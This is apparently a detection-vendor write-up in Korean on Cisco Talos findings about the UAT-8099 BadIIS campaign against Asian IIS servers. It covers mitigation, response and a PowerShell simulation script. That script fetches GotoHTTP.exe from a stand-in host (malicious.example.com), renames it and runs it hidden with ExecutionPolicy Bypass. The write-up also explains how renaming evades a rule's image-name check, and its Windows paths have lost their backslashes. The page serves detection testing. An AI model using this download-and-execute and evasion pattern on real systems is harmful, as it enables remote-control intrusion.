UAT-8099의 분석: 새로운 지속성 메커니즘과 지역적 초점
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Cisco Talos는 아시아 전역의 취약한 IIS 웹 서버를 대상으로 하는 새로운 UAT-8099 캠페인을 보고했습니다. 행위자는 지역 식별자를 포함하는 맞춤형 BadIIS 변종을 배포하고 웹 셸, PowerShell 및 GotoHTTP 원격 제어 도구에 의존하여 후속 제어를 수행합니다. 지속성이 확장되어 숨겨진 로컬 계정 생성 및 합법적인 레드팀 유틸리티 사용으로 관리 활동에 혼합됩니다. 이 전술은 이전 WEBJACK 작전과 겹치고 있으며 태국과 베트남의 사이트에 영향을 미치는 SEO 사기에 초점을 맞춘 것으로 보입니다.
조사
Talos는 침입 경로를 재구축하기 위해 DNS 원격측정, 파일 해시 및 악성 스크립트를 검토했습니다. 분석가들은 웹 셸과 SoftEther VPN 및 EasyTier와 같은 도구를 결합한 것을 관찰했으며 Sharp4RemoveLog, CnCrypt Protect, OpenArk64, GotoHTTP 등 맞춤형 유틸리티 세트를 발견했습니다. 두 지역 특화된 BadIIS 변종 – IISHijack 및 asdSearchEngine -이 역공학되어 하드코딩된 국가 코드, 선택적 요청 필터링 및 XOR 암호화된 C2 구성을 드러냈습니다. 유사한 C2 도메인이 포함된 BadIIS의 ELF 빌드도 VirusTotal에서 확인되었습니다.
완화 방안
노출된 IIS 취약점을 패치하고 웹 애플리케이션 방화벽 강화를 강화하며 숨겨진 로컬 계정 생성을 모니터링하십시오(예: admin$, mysql$ 및 유사한 계정). GotoHTTP를 다운로드하거나 실행하는 PowerShell 활동을 감지하고 알려진 C2 도메인으로의 아웃바운드 통신을 차단합니다. 식별된 커스텀 유틸리티의 실행 및 웹 서버 디렉토리 내의 예상치 못한 수정 사항에 대한 알림을 제공하는 엔드포인트 제어를 사용합니다.
대응
지표가 발견되면 서버를 격리하고 웹 셸을 제거하며 숨겨진 계정을 삭제합니다. 법의학 분석을 위해 BadIIS 바이너리 및 관련 스크립트를 보존하고 C2 활동을 식별하기 위해 전체 네트워크 트래픽 검토를 수행합니다. 다시 감염을 방지하기 위해 알려진 정상 백업에서 복원하고 IIS 구성을 다시 강화합니다.
공격 흐름
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 항공 전검사를 완료해야 합니다.
-
공격 서사와 명령:
공격자는 침해된 웹 서버에 초기 발판을 마련했습니다. 그들은 IIS 웹 루트 하에 숨겨진 디렉토리인bad_iis을 생성하고 사용자 지정 이름의 웹 셸 바이너리인shell_xyz.exe(“웹 셸”이라는 문자열 회피)을 설치하고 나중에 GotoHTTP 바이너리를 다운로드하는 PowerShell 페이로드를 측면 실행합니다. 이를svc_update.exe로 이름을 변경하고 실행합니다. 이미지 이름이 난독화되었기 때문에 원래 규칙의Image|contains검사가 우회되지만, 명령줄에는 여전히 ‘PowerShell’이 포함되어 있습니다. -
회귀 테스트 스크립트: 이 스크립트는 설명된 단계를 재현하고 BadIIS 공격과 유사한 텔레매트리를 생성합니다. 정확히 규칙이 주시하는 문자열을 사용하지 않습니다.
# BadIIS simulation – obfuscated version $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Deploy a renamed web‑shell (binary copy of a known benign exe) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simulate the web‑shell invoking PowerShell to download GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Execute the PowerShell payload via the renamed web‑shell (process creation) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIIS simulation executed." -
정리 명령: 심어진 흔적을 제거하고 환경을 복원합니다.
# Cleanup BadIIS simulation artifacts $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Cleanup completed."